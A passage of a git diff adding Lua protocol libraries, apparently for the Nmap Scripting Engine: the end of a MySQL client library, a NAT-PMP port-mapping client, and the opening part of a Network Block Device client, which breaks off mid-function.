+ NoIndexUsed = 0x20,
+ CursorExists = 0x40,
+ LastRowSebd = 0x80,
+ DatabaseDropped = 0x100,
+ NoBackslashEscapes = 0x200
+}
+
+Command =
+{
+ Query = 3
+}
+
+local MAXPACKET = 16777216
+local HEADER_SIZE = 4
+
+
+--- Parses a MySQL header
+--
+-- @param data string of raw data
+-- @return response table containing the fields <code>len</code> and <code>packetno</code>
+local function decodeHeader( data, pos )
+
+ local response = {}
+ local pos, tmp = pos or 1, 0
+
+ tmp, pos = string.unpack( "<I4", data, pos )
+ response.len = ( tmp & 255 )
+ response.number = ( tmp >> 24 )
+
+ return pos, response
+end
+
+--- Receives the server greeting upon initial connection
+--
+-- @param socket already connected to the remote server
+-- @return status true on success, false on failure
+-- @return response table with the following fields <code>proto</code>, <code>version</code>,
+-- <code>threadid</code>, <code>salt</code>, <code>capabilities</code>, <code>charset</code> and
+-- <code>status</code> or error message on failure (status == false)
+function receiveGreeting( socket )
+
+ local catch = function() socket:close() stdnse.debug1("receiveGreeting(): failed") end
+ local try = nmap.new_try(catch)
+ local data = try( socket:receive_bytes(HEADER_SIZE) )
+ local pos, response, tmp, _
+
+ pos, response = decodeHeader( data, 1 )
+
+ -- do we need to read the remainder
+ if ( #data - HEADER_SIZE < response.len ) then
+ local tmp = try( socket:receive_bytes( response.len - #data + HEADER_SIZE ) )
+ data = data .. tmp
+ end
+
+ local is_error
+ is_error, pos = string.unpack("B", data, pos)
+
+ if ( is_error == 0xff ) then
+ response.errorcode, pos = string.unpack( "<I2", data, pos )
+ response.errormsg = data:sub(pos)
+
+ return false, response.errormsg
+ end
+
+ response.proto = is_error
+ response.version, response.threadid, pos = string.unpack( "<zI4", data, pos )
+
+ if response.proto == 10 then
+ response.salt, response.capabilities, pos = string.unpack("<c8xI2", data, pos)
+ local auth_plugin_len
+ if pos < #data then
+ response.charset, response.status,
+ response.extcapabilities, -- capabilities, upper 2 bytes
+ auth_plugin_len, tmp, pos = string.unpack( "<BI2 I2 Bc10", data, pos )
+ if tmp ~= "\0\0\0\0\0\0\0\0\0\0" then
+ stdnse.debug2("reserved bytes are not nulls")
+ end
+ if response.capabilities & Capabilities.Support41Auth > 0 then
+ tmp, pos = string.unpack("c" .. (math.max(13, auth_plugin_len - 8) - 1) .. "x", data, pos)
+ response.salt = response.salt .. tmp
+ end
+ if response.extcapabilities & ExtCapabilities.SupportsAuthPlugins > 0 then
+ response.auth_plugin_name = string.unpack("z", data, pos)
+ end
+ end
+ elseif response.proto == 9 then
+ response.auth_plugin_data, pos = string.unpack( "z", data, pos )
+ else
+ stdnse.debug2("Unknown MySQL protocol version: %d", response.proto)
+ end
+
+ response.errorcode = 0
+
+ return true, response
+
+end
+
+
+--- Creates a hashed value of the password and salt according to MySQL authentication post version 4.1
+--
+-- @param pass string containing the users password
+-- @param salt string containing the servers salt as obtained from <code>receiveGreeting</code>
+-- @return reply string containing the raw hashed value
+local function createLoginHash(pass, salt)
+ local hash_stage1
+ local hash_stage2
+ local hash_stage3
+ local reply = {}
+ local pos, b1, b2, b3, _ = 1, 0, 0, 0
+
+ if ( not(HAVE_SSL) ) then
+ return nil
+ end
+
+ hash_stage1 = openssl.sha1( pass )
+ hash_stage2 = openssl.sha1( hash_stage1 )
+ hash_stage3 = openssl.sha1( salt .. hash_stage2 )
+
+ for pos=1, hash_stage1:len() do
+ b1 = string.unpack( "B", hash_stage1, pos )
+ b2 = string.unpack( "B", hash_stage3, pos )
+
+ reply[pos] = string.char( b2 ~ b1 )
+ end
+
+ return table.concat(reply)
+
+end
+
+
+--- Attempts to Login to the remote mysql server
+--
+-- @param socket already connected to the remote server
+-- @param params table with additional options to the loginrequest
+-- current supported fields are <code>charset</code> and <code>authversion</code>
+-- authversion is either "pre41" or "post41" (default is post41)
+-- currently only post41 authentication is supported
+-- @param username string containing the username of the user that is authenticating
+-- @param password string containing the users password or nil if empty
+-- @param salt string containing the servers salt as received from <code>receiveGreeting</code>
+-- @return status boolean
+-- @return response table or error message on failure
+function loginRequest( socket, params, username, password, salt )
+
+ local catch = function() socket:close() stdnse.debug1("loginRequest(): failed") end
+ local try = nmap.new_try(catch)
+ local packetno = 1
+ local authversion = params.authversion or "post41"
+ local username = username or ""
+
+ if not(HAVE_SSL) then
+ return false, "No OpenSSL"
+ end
+
+ if authversion ~= "post41" then
+ return false, "Unsupported authentication version: " .. authversion
+ end
+
+ local clicap = Capabilities.LongPassword
+ clicap = clicap + Capabilities.LongColumnFlag
+ clicap = clicap + Capabilities.SupportsLoadDataLocal
+ clicap = clicap + Capabilities.Speaks41ProtocolNew
+ clicap = clicap + Capabilities.InteractiveClient
+ clicap = clicap + Capabilities.SupportsTransactions
+ clicap = clicap + Capabilities.Support41Auth
+
+ local extcapabilities = ExtCapabilities.SupportsMultipleStatments
+ extcapabilities = extcapabilities + ExtCapabilities.SupportsMultipleResults
+
+ local hash = ""
+ if ( password ~= nil and password:len() > 0 ) then
+ hash = createLoginHash( password, salt )
+ end
+
+ local packet = string.pack( "<I2I2I4B c23 zs1",
+ clicap,
+ extcapabilities,
+ MAXPACKET,
+ Charset.latin1_COLLATE_latin1_swedish_ci,
+ string.rep("\0", 23),
+ username,
+ hash
+ )
+
+ local tmp = packet:len() + ( packetno << 24 )
+
+ packet = string.pack( "<I4", tmp ) .. packet
+
+ try( socket:send(packet) )
+ packet = try( socket:receive_bytes(HEADER_SIZE) )
+ local pos, response = decodeHeader( packet )
+
+ -- do we need to read the remainder
+ if ( #packet - HEADER_SIZE < response.len ) then
+ local tmp = try( socket:receive_bytes( response.len - #packet + HEADER_SIZE ) )
+ packet = packet .. tmp
+ end
+
+ local is_error
+
+ is_error, pos = string.unpack( "B", packet, pos )
+
+ if is_error > 0 then
+ local has_sqlstate
+ response.errorcode, has_sqlstate, pos = string.unpack( "<I2B", packet, pos )
+
+ if has_sqlstate == 35 then
+ response.sqlstate, pos = string.unpack( "c5", packet, pos )
+ end
+
+ response.errormessage, pos = string.unpack( "z", packet, pos )
+
+ return false, response.errormessage
+ else
+ response.errorcode = 0
+ response.affectedrows,
+ response.serverstatus,
+ response.warnings, pos = string.unpack( "<BI2I2", packet, pos )
+ end
+
+ return true, response
+
+end
+
+--- Decodes a single column field
+--
+-- http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Field_Packet
+--
+-- @param data string containing field packets
+-- @param pos number containing position from which to start decoding
+-- the position should point to the data in this buffer (ie. after the header)
+-- @return pos number containing the position after the field was decoded
+-- @return field table containing <code>catalog</code>, <code>database</code>, <code>table</code>,
+-- <code>origt_table</code>, <code>name</code>, <code>orig_name</code>,
+-- <code>length</code> and <code>type</code>
+function decodeField( data, pos )
+
+ local _
+ local field = {}
+
+ field.catalog,
+ field.database,
+ field.table,
+ field.orig_table,
+ field.name,
+ field.orig_name,
+ _, -- should be 0x0C
+ _, -- charset, in my case 0x0800
+ field.length,
+ field.type, pos = string.unpack( "<s1s1s1s1s1s1BI2I4c6", data, pos )
+
+ return pos, field
+
+end
+
+--- Decodes the result set header packet into its sub components
+--
+-- ref: http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Result_Set_Header_Packet
+--
+-- @param socket socket already connected to MySQL server
+-- @return table containing the following <code>header</code>, <code>fields</code> and <code>data</code>
+function decodeQueryResponse( socket )
+
+ local catch = function() socket:close() stdnse.debug1("decodeQueryResponse(): failed") end
+ local try = nmap.new_try(catch)
+ local data, header, pos
+ local rs, blocks = {}, {}
+ local block_start, block_end
+ local EOF_MARKER = 254
+
+ data = try( socket:receive_bytes(HEADER_SIZE) )
+ pos, header = decodeHeader( data, pos )
+
+ --
+ -- First, Let's attempt to read the "Result Set Header Packet"
+ --
+ if data:len() < header.len then
+ data = data .. try( socket:receive_bytes( header.len - #data + HEADER_SIZE ) )
+ end
+
+ rs.header = data:sub( 1, HEADER_SIZE + header.len )
+
+ -- abort on MySQL error
+ if rs.header:sub(HEADER_SIZE + 1, HEADER_SIZE + 1) == "\xFF" then
+ -- is this a 4.0 or 4.1 error message
+ if rs.header:find("#") then
+ return false, rs.header:sub(HEADER_SIZE+10)
+ else
+ return false, rs.header:sub(HEADER_SIZE+4)
+ end
+ end
+
+ pos = HEADER_SIZE + header.len + 1
+
+ -- Second, Let's attempt to read the "Field Packets" and "Row Data Packets"
+ -- They're separated by an "EOF Packet"
+ for i=1,2 do
+
+ -- marks the start of our block
+ block_start = pos
+
+ while true do
+
+ if data:len() - pos < HEADER_SIZE then
+ data = data .. try( socket:receive_bytes( HEADER_SIZE - ( data:len() - pos ) ) )
+ end
+
+ pos, header = decodeHeader( data, pos )
+
+ if data:len() - pos < header.len - 1 then
+ data = data .. try( socket:receive_bytes( header.len - ( data:len() - pos ) ) )
+ end
+
+ if header.len > 0 then
+ local b = string.unpack("B", data, pos )
+
+ -- Is this the EOF packet?
+ if b == EOF_MARKER then
+ -- we don't want the EOF Packet included
+ block_end = pos - HEADER_SIZE - 1
+ pos = pos + header.len
+ break
+ end
+ end
+
+ pos = pos + header.len
+
+ end
+
+ blocks[i] = data:sub( block_start, block_end )
+
+ end
+
+
+ rs.fields = blocks[1]
+ rs.data = blocks[2]
+
+ return true, rs
+
+end
+
+--- Decodes as field packet and returns a table of field tables
+--
+-- ref: http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Field_Packet
+--
+-- @param data string containing field packets
+-- @param count number containing the amount of fields to decode
+-- @return status boolean (true on success, false on failure)
+-- @return fields table containing field tables as returned by <code>decodeField</code>
+-- or string containing error message if status is false
+function decodeFieldPackets( data, count )
+
+ local pos, header
+ local field, fields = {}, {}
+
+ if count < 1 then
+ return false, "Field count was less than one, aborting"
+ end
+
+ for i=1, count do
+ pos, header = decodeHeader( data, pos )
+ pos, field = decodeField( data, pos )
+ table.insert( fields, field )
+ end
+
+ return true, fields
+end
+
+-- Decodes the result set header
+--
+-- ref: http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Result_Set_Header_Packet
+--
+-- @param data string containing the result set header packet
+-- @return number containing the amount of fields
+function decodeResultSetHeader( data )
+
+ if data:len() ~= HEADER_SIZE + 1 then
+ return false, "Result set header was incorrect"
+ end
+
+ local fields = string.unpack( "B", data, HEADER_SIZE + 1 )
+
+ return true, fields
+end
+
+--- Decodes the row data
+--
+-- ref: http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Row_Data_Packet
+--
+-- @param data string containing the row data packet
+-- @param count number containing the number of fields to decode
+-- @return status true on success, false on failure
+-- @return rows table containing row tables
+function decodeDataPackets( data, count )
+
+ local pos = 1
+ local rows = {}
+
+ while pos <= data:len() do
+ local row = {}
+ local header
+ pos, header = decodeHeader( data, pos )
+
+ for i=1, count do
+ row[i], pos = string.unpack("s1", data, pos)
+ end
+
+ table.insert( rows, row )
+
+ end
+
+ return true, rows
+
+end
+
+--- Sends the query to the MySQL server and then attempts to decode the response
+--
+-- @param socket socket already connected to mysql
+-- @param query string containing the sql query
+-- @return status true on success, false on failure
+-- @return rows table containing row tables as decoded by <code>decodeDataPackets</code>
+function sqlQuery( socket, query )
+
+ local catch = function() socket:close() stdnse.debug1("sqlQuery(): failed") end
+ local try = nmap.new_try(catch)
+ local packetno = 0
+ local querylen = query:len() + 1
+ local packet, packet_len, pos, header
+ local status, fields, field_count, rows, rs
+
+ packet = string.pack("<I4B", querylen, Command.Query) .. query
+
+ --
+ -- http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Result_Set_Header_Packet
+ --
+ -- (Result Set Header Packet) the number of columns
+ -- (Field Packets) column descriptors
+ -- (EOF Packet) marker: end of Field Packets
+ -- (Row Data Packets) row contents
+ -- (EOF Packet) marker: end of Data Packets
+
+ try( socket:send(packet) )
+
+ --
+ -- Let's read all the data into a table
+ -- This way we avoid the hustle with reading from the socket
+ status, rs = decodeQueryResponse( socket )
+
+ if not status then
+ return false, rs
+ end
+
+ status, field_count = decodeResultSetHeader(rs.header)
+
+ if not status then
+ return false, field_count
+ end
+
+ status, fields = decodeFieldPackets(rs.fields, field_count)
+
+ if not status then
+ return false, fields
+ end
+
+ status, rows = decodeDataPackets(rs.data, field_count)
+
+ if not status then
+ return false, rows
+ end
+
+ return true, { cols = fields, rows = rows }
+end
+
+---
+-- Formats the resultset returned from <code>sqlQuery</code>
+--
+-- @param rs table as returned from <code>sqlQuery</code>
+-- @param options table containing additional options, currently:
+-- - <code>noheaders</code> - does not include column names in result
+-- @return string containing the formatted resultset table
+function formatResultset(rs, options)
+ options = options or {}
+ if ( not(rs) or not(rs.cols) or not(rs.rows) ) then
+ return
+ end
+
+ local restab = tab.new(#rs.cols)
+ local colnames = {}
+
+ if ( not(options.noheaders) ) then
+ for _, col in ipairs(rs.cols) do table.insert(colnames, col.name) end
+ tab.addrow(restab, table.unpack(colnames))
+ end
+
+ for _, row in ipairs(rs.rows) do
+ tab.addrow(restab, table.unpack(row))
+ end
+
+ return tab.dump(restab)
+end
+
+return _ENV;
diff --git a/nselib/natpmp.lua b/nselib/natpmp.lua
new file mode 100644
index 0000000..93c4647
--- /dev/null
+++ b/nselib/natpmp.lua
@@ -0,0 +1,222 @@
+---
+-- This library implements the basics of NAT-PMP as described in the
+-- NAT Port Mapping Protocol (NAT-PMP) draft:
+-- o http://tools.ietf.org/html/draft-cheshire-nat-pmp-03
+--
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+local datetime = require "datetime"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+_ENV = stdnse.module("natpmp", stdnse.seeall)
+
+local ResultCode = {
+ SUCCESS = 0,
+ UNSUPPORTED_VERSION = 1,
+ NOT_AUTHORIZED = 2,
+ NETWORK_FAILURE = 3,
+ OUT_OF_RESOURCES = 4,
+ UNSUPPORTED_OPCODE = 5,
+}
+
+local ErrorMessage = {
+ [ResultCode.UNSUPPORTED_VERSION] = "The device did not support the protocol version",
+ [ResultCode.NOT_AUTHORIZED] = "The operation was not authorized",
+ [ResultCode.NETWORK_FAILURE] = "Network failure",
+ [ResultCode.OUT_OF_RESOURCES] = "The device is out of resources",
+ [ResultCode.UNSUPPORTED_OPCODE] = "The requested operation was not supported",
+}
+
+
+Request = {
+
+ GetWANIP = {
+
+ new = function(self)
+ local o = { version = 0, op = 0 }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ return string.pack(">BB", self.version, self.op)
+ end,
+
+ },
+
+ MapPort = {
+
+ new = function(self, pubport, privport, proto, lifetime)
+ assert(proto == "udp" or proto == "tcp", "Unsupported protocol")
+ local o = {
+ version = 0,
+ pubport = pubport,
+ privport = privport,
+ proto = proto,
+ lifetime = lifetime or 3600
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ return string.pack(">BBI2I2I2I4",
+ self.version,
+ (self.proto=="udp" and 1 or 2),
+ 0, -- reserved
+ self.privport, self.pubport,
+ self.lifetime)
+ end,
+
+ }
+
+}
+
+Response = {
+
+ GetWANIP = {
+
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ if ( o:parse() ) then
+ return o
+ end
+ end,
+
+ parse = function(self)
+ if ( #self.data ~= 12 ) then
+ return
+ end
+
+ local pos
+ self.version, self.op, self.rescode, pos = string.unpack(">BBI2", self.data)
+
+ if ( self.rescode ~= ResultCode.SUCCESS or self.op ~= 128 ) then
+ return
+ end
+
+ self.time, self.ip, pos = string.unpack(">I4I4", self.data, pos)
+ self.ip = ipOps.fromdword(self.ip)
+ self.time = datetime.format_timestamp(self.time)
+ return true
+ end,
+
+ },
+
+ MapPort = {
+
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ if ( o:parse() ) then
+ return o
+ end
+ end,
+
+ parse = function(self)
+ if ( #self.data ~= 16 ) then
+ return
+ end
+
+ local pos
+ self.version, self.op, self.rescode, pos = string.unpack(">BBI2", self.data)
+
+ if ( self.rescode ~= ResultCode.SUCCESS ) then
+ return
+ end
+
+ self.time, self.privport, self.pubport, self.lifetime, pos = string.unpack(">I4I2I2I4", self.data, pos)
+ return true
+ end,
+ }
+
+
+}
+
+
+
+
+
+Helper = {
+
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ exchPacket = function(self, data)
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(5000)
+
+ local status = socket:sendto(self.host, self.port, data)
+ if ( not(status) ) then
+ socket:close()
+ return false, "Failed to send request to device"
+ end
+
+ local response
+ status, response = socket:receive()
+ socket:close()
+ if ( not(status) ) then
+ return false, "Failed to receive response from router"
+ end
+ return true, response
+ end,
+
+ --- Gets the WAN ip of the router
+ getWANIP = function(self)
+ local packet = Request.GetWANIP:new()
+ local status, response = self:exchPacket(tostring(packet))
+ if ( not(status) ) then
+ return status, response
+ end
+
+ response = Response.GetWANIP:new(response)
+ if ( not(response) ) then
+ return false, "Failed to parse response from router"
+ end
+
+ return true, response
+ end,
+
+ --- Maps a public port to a private port
+ -- @param pubport number containing the public external port to map
+ -- @param privport number containing the private internal port to map
+ -- @param protocol string containing the protocol to map (udp|tcp)
+ -- @param lifetime [optional] number containing the lifetime in seconds
+ mapPort = function(self, pubport, privport, protocol, lifetime)
+ local packet = Request.MapPort:new(pubport, privport, protocol, lifetime)
+ local status, response = self:exchPacket(tostring(packet))
+ if ( not(status) ) then
+ return status, response
+ end
+
+ response = Response.MapPort:new(response)
+ if ( not(response) ) then
+ return false, "Failed to parse response from router"
+ end
+
+ return true, response
+ end,
+
+ unmapPort = function(self, pubport, privport)
+ return self:mapPort(pubport, privport, 0)
+ end,
+
+ unmapAllPorts = function(self)
+ return self.mapPort(0, 0, 0)
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/nbd.lua b/nselib/nbd.lua
new file mode 100644
index 0000000..f099e8d
--- /dev/null
+++ b/nselib/nbd.lua
@@ -0,0 +1,596 @@
+local comm = require "comm"
+local match = require "match"
+local stdnse = require "stdnse"
+local string = require "string"
+
+_ENV = stdnse.module("nbd", stdnse.seeall)
+
+---
+-- An implementation of the Network Block Device protocol.
+-- https://github.com/NetworkBlockDevice/nbd/blob/master/doc/proto.md
+--
+-- @author "Mak Kolybabi <mak@kolybabi.com>"
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+NBD = {
+ magic = {
+ init_passwd = string.char(0x4E, 0x42, 0x44, 0x4d, 0x41, 0x47, 0x49, 0x43),
+ cliserv_magic_old = string.char(0x00, 0x00, 0x42, 0x02, 0x81, 0x86, 0x12, 0x53),
+ cliserv_magic_new = string.char(0x49, 0x48, 0x41, 0x56, 0x45, 0x4F, 0x50, 0x54),
+ option = string.char(0x00, 0x03, 0xE8, 0x89, 0x04, 0x55, 0x65, 0xA9),
+ cmd_request = string.char(0x25, 0x60, 0x95, 0x13),
+ cmd_reply = string.char(0x67, 0x44, 0x66, 0x98),
+ },
+
+ handshake_flags = {
+ FIXED_NEWSTYLE = 0x0001,
+ NO_ZEROES = 0x0002,
+ },
+
+ client_flags = {
+ C_FIXED_NEWSTYLE = 0x00000001,
+ C_NO_ZEROES = 0x00000002,
+ },
+
+ transmission_flags = {
+ HAS_FLAGS = 0x0001,
+ READ_ONLY = 0x0002,
+ SEND_FLUSH = 0x0004,
+ SEND_FUA = 0x0008,
+ ROTATIONAL = 0x0010,
+ SEND_TRIM = 0x0020,
+ SEND_WRITE_ZEROES = 0x0040, -- WRITE_ZEROES Extension
+ SEND_DF = 0x0080, -- STRUCTURED_REPLY Extension
+ },
+
+ opt_req_types = {
+ EXPORT_NAME = 0x00000001,
+ ABORT = 0x00000002,
+ LIST = 0x00000003,
+ PEEK_EXPORT = 0x00000004, -- PEEK_EXPORT Extension
+ STARTTLS = 0x00000005,
+ INFO = 0x00000006, -- INFO Extension
+ GO = 0x00000007, -- INFO Extension
+ STRUCTURED_REPLY = 0x00000008, -- STRUCTURED_REPLY Extension
+ BLOCK_SIZE = 0x00000009, -- INFO Extension
+ },
+
+ opt_rep_types = {
+ ACK = 0x00000001,
+ SERVER = 0x00000002,
+ INFO = 0x00000003, -- INFO Extension
+ ERR_UNSUP = 0x80000001,
+ ERR_POLICY = 0x80000002,
+ ERR_INVALID = 0x80000003,
+ ERR_PLATFORM = 0x80000004,
+ ERR_TLS_REQD = 0x80000005,
+ ERR_UNKNOWN = 0x80000006, -- INFO Extension
+ ERR_SHUTDOWN = 0x80000007,
+ ERR_BLOCK_SIZE_REQD = 0x80000008, -- INFO Extension
+ },
+
+ opt_rep_ext_types = {
+ info = {
+ EXPORT = 0x0000,
+ NAME = 0x0001,
+ DESCRIPTION = 0x0002,
+ BLOCK_SIZE = 0x0003,
+ },
+ },
+
+ cmd_req_flags = {
+ FUA = 0x0001,
+ NO_HOLE = 0x0002, -- WRITE_ZEROES Extension
+ DF = 0x0004, -- STRUCTURED_REPLY Extension
+ },
+
+ cmd_req_types = {
+ READ = 0x0000,
+ WRITE = 0x0001,
+ DISC = 0x0002,
+ FLUSH = 0x0003,
+ TRIM = 0x0004,
+ CACHE = 0x0005, -- XNBD custom request types
+ WRITE_ZEROES = 0x0006, -- WRITE_ZEROES Extension
+ },
+
+ errors = {
+ EPERM = 0x00000001,
+ EIO = 0x00000005,
+ ENOMEM = 0x0000000C,
+ EINVAL = 0x00000016,
+ ENOSPC = 0x0000001C,
+ EOVERFLOW = 0x0000004B,
+ ESHUTDOWN = 0x0000006C,
+ },
+}
+
+Comm = {
+ --- Creates a new client instance.
+ --
+ -- @name Comm.new
+ --
+ -- @param host Table as received by the action method.
+ -- @param port Table as received by the action method.
+ --
+ -- @return o Instance of Client.
+ new = function(self, host, port)
+ local o = {host = host, port = port, exports = {}}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects to the NBD server.
+ --
+ -- @name Comm.connect
+ --
+ -- @return status true on success, false on failure.
+ connect = function(self)
+ -- NBD servers send a response when we connect. We are using
+ -- tryssl here as a precaution since there are several
+ -- implementations of the protocol and no reason it can't be
+ -- wrapped. IANA has rejected assigning another port for NBD over
+ -- TLS.
+ local sd, err, proto, rep = comm.tryssl(self.host, self.port, "", {recv_before = true})
+ if not sd then
+ return false, err
+ end
+
+ -- The socket connected successfully over whichever protocol.
+ -- Store the connection information.
+ self.socket = sd
+ self.protocol = {ssl_tls = (proto == "ssl")}
+
+ if #rep < 8 then
+ stdnse.debug1("Failed to receive first 64 bits of magic from server: %s", rep)
+ self:close()
+ return false
+ end
+
+ -- We may have received 8-100+ bytes of data, depending on timing. To make
+ -- the code simpler, we will seed a buffer to be used by this object's
+ -- receive function until empty.
+ self.receive_buffer = rep:sub(9)
+ rep = rep:sub(1, 8)
+
+ if rep ~= NBD.magic.init_passwd then
+ stdnse.debug1("First 64 bits from server don't match expected magic: %s", stdnse.tohex(rep, {separator = ":"}))
+ self:close()
+ return false
+ end
+
+ local status, rep = self:receive(8)
+ if not status then
+ stdnse.debug1("Failed to receive second 64 bits of magic from server: %s", rep)
+ return false
+ end
+
+ if rep == NBD.magic.cliserv_magic_new then
+ self.protocol.negotiation = "newstyle"
+ return self:connect_new()
+ end
+
+ if rep == NBD.magic.cliserv_magic_old then
+ self.protocol.negotiation = "oldstyle"
+ return self:connect_old()
+ end
+
+ self.protocol.negotiation = "unrecognized"
+ stdnse.debug1("Second 64 bits from server don't match any known protocol magic: %s", stdnse.tohex(rep, {separator = ":"}))
+
+ self:close()
+
+ return true
+ end,
+
+ --- Cycles the connection to the server.
+ --
+ -- @name Comm.reconnect
+ --
+ -- @return status true on success, false on failure.
+ reconnect = function(self)
+ self:close()
+ return self:connect(self.connect_options)
+ end,
+
+ --- Attaches to an named share on the server.
+ --
+ -- @name Comm.attach
+ --
+ -- @return status true on success, false on failure.
+ attach = function(self, name)
+ assert(self.protocol.negotiation == "newstyle" or self.protocol.negotiation == "fixed newstyle")
+ assert(type(name) == "string")
+
+ local req = self:build_opt_req("EXPORT_NAME", {export_name = name})
+
+ local status, err = self:send(req)
+ if not status then
+ stdnse.debug1("Failed to send attach request for '%s': %s", name, err)
+ self:close()
+ return
+ end
+
+ local status, size = self:receive(8)
+ if not status then
+ stdnse.debug1("Failed to receive response to attach request for '%s': %s", name, size)
+ self:close()
+ return
+ end
+
+ local size, pos = (">I8"):unpack(size)
+ if pos ~= 9 then
+ stdnse.debug1("Failed to unpack size of exported block device from server.")
+ self:close()
+ return false
+ end
+
+ local status, tflags = self:receive(2)
+ if not status then
+ stdnse.debug1("Failed to receive transmission flags from server while attaching to export: %s", tflags)
+ self:close()
+ return false
+ end
+
+ local tflags, pos = (">I2"):unpack(tflags)
+ if pos ~= 3 then
+ stdnse.debug1("Failed to unpack transmission flags from server.")
+ self:close()
+ return false
+ end
+
+ tflags = self:parse_transmission_flags(tflags)
+
+ if self.protocol.zero_pad == "required" then
+ local status, err = self:receive(124)
+ if not status then
+ stdnse.debug1("Failed to receive zero pad from server while attaching to export: %s", err)
+ self:close()
+ return false
+ end
+ end
+
+ self.exports[name] = {
+ size = size,
+ tflags = tflags,
+ }
+
+ return true
+ end,
+
+ --- Sends data to the server
+ --
+ -- @name Comm.send
+ --
+ -- @param pkt String containing the bytes to send.
+ --
+ -- @return status true on success, false on failure.
+ -- @return err string containing the error message on failure.
+ send = function(self, data)
+ assert(type(data) == "string")
+
+ return self.socket:send(data)
+ end,
+
+ --- Receives data from the server.
+ --
+ -- @name Comm.receive
+ --
+ -- @param len Number of bytes to receive.
+ --
+ -- @return status True on success, false on failure.
+ -- @return response String representing bytes received on success,
+ -- string containing the error message on failure.
+ receive = function(self, len)
+ assert(type(len) == "number")
+
+ -- Try to answer this request from the buffer.
+ if #self.receive_buffer >= len then
+ local rep = self.receive_buffer:sub(1, len)
+ self.receive_buffer = self.receive_buffer:sub(len + 1)
+ return true, rep
+ end
+
+ return self.socket:receive_buf(match.numbytes(len), true)
+ end,
+
+ --- Disconnects from the server.
+ --
+ -- @name Comm.close
+ close = function(self)
+ assert(self.socket)
+ self.socket:close()
+ self.socket = nil
+ end,
+
+ --- Continue in-progress newstyle handshake with server.
+ --
+ -- @name Comm.connect_new
+ --
+ -- @param len Number of bytes to receive.
+ --
+ -- @return status True on success, false on failure.
+ -- @return response String representing bytes received on success,
+ -- string containing the error message on failure.
+ connect_new = function(self)
+ local status, flags = self:receive(2)
+ if not status then
+ stdnse.debug1("Failed to receive handshake flags from server: %s", flags)
+ self:close()
+ return false
+ end
+
+ -- Receive and parse the handshake flags from the server, and use
+ -- them to build the client flags.
+ local hflags, pos = (">I2"):unpack(flags)
+ if pos ~= 3 then
+ stdnse.debug1("Failed to unpack handshake flags from server.")
+ self:close()
+ return false
+ end
+
+ local cflags = 0x0000
+
+ if hflags & NBD.handshake_flags.FIXED_NEWSTYLE then
+ cflags = cflags | NBD.client_flags.C_FIXED_NEWSTYLE
+ self.protocol.negotiation = "fixed newstyle"
+ end
+
+ self.protocol.zero_pad = "required"
+ if hflags & NBD.handshake_flags.NO_ZEROES then
+ cflags = cflags | NBD.client_flags.C_NO_ZEROES
+ self.protocol.zero_pad = "optional"
+ end
+
+ -- Send the client flags to the server.
+ local req = (">I4"):pack(cflags)
+
+ local status, err = self:send(req)
+ if not status then
+ stdnse.debug1("Failed to send client flags: %s", err)
+ self:close()
+ return false
+ end
+
+ return true
+ end,
+
+ --- Continue in-progress oldstyle handshake with server.
+ --
+ -- @name Comm.connect_old
+ --
+ -- @return response String representing bytes received on success,
+ -- string containing the error message on failure.
+ connect_old = function(self)
+ local status, size = self:receive(8)
+ if not status then
+ stdnse.debug1("Failed to receive size of exported block device from server: %s", size)
+ self:close()
+ return false
+ end
+
+ local size, pos = (">I8"):unpack(size)
+ if pos ~= 9 then
+ stdnse.debug1("Failed to unpack size of exported block device from server.")
+ self:close()
+ return false
+ end
+
+ local status, hflags = self:receive(4)
+ if not status then
+ stdnse.debug1("Failed to receive handshake flags from server: %s", hflags)
+ self:close()
+ return false
+ end
+
+ local hflags, pos = (">I4"):unpack(hflags)
+ if pos ~= 5 then
+ stdnse.debug1("Failed to unpack handshake flags from server.")
+ self:close()
+ return false
+ end
+
+ local status, pad = self:receive(124)
+ if not status then
+ stdnse.debug1("Failed to receive zero pad from server: %s", pad)
+ self:close()
+ return false
+ end
+
+ self.exports["(default)"] = {
+ size = size,
+ hflags = hflags,
+ }
+
+ return true
+ end,
+
+ --- Receives an option reply.
+ --
+ -- @name Comm.receive_opt_rep
+ --
+ -- @return reply Table representing option reply on success, false
+ -- on failure.
+ receive_opt_rep = function(self)
+ -- Receive the static header of the option.
+ local status, hdr = self:receive(20)
+ if not status then
+ stdnse.debug1("Failed to receive option reply header: %s", hdr)
+ return false
+ end
+
+ local len, pos = (">I4"):unpack(hdr, 17)
+ if pos ~= 21 then
+ stdnse.debug1("Failed to parse option reply header during receive.")
+ return false
+ end
+
+ local magic = hdr:sub(1, 8)
+ if magic ~= NBD.magic.option then
+ stdnse.debug1("First 64 bits of option reply don't match expected magic: %s", stdnse.tohex(magic, {separator = ":"}))
+ return false
+ end
+
+ if len == 0 then
+ return self:parse_opt_rep(hdr)
+ end
+
+ -- Receive the variable body of the option.
+ local status, body = self:receive(len)
+ if not status then
+ stdnse.debug1("Failed to receive option reply: %s", body)
+ return false
+ end
+
+ return self:parse_opt_rep(hdr .. body)
+ end,
+
+ --- Builds an option request.
+ --
+ -- @name Comm.build_opt_req
+ --
+ -- @param name String naming the option type.
+ -- @param options Table containing options.
+ --
+ -- @return req String representing the option request.
+ build_opt_req = function(self, name, options)
+ assert(type(name) == "string")
+
+ if not options then
+ options = {}
+ end
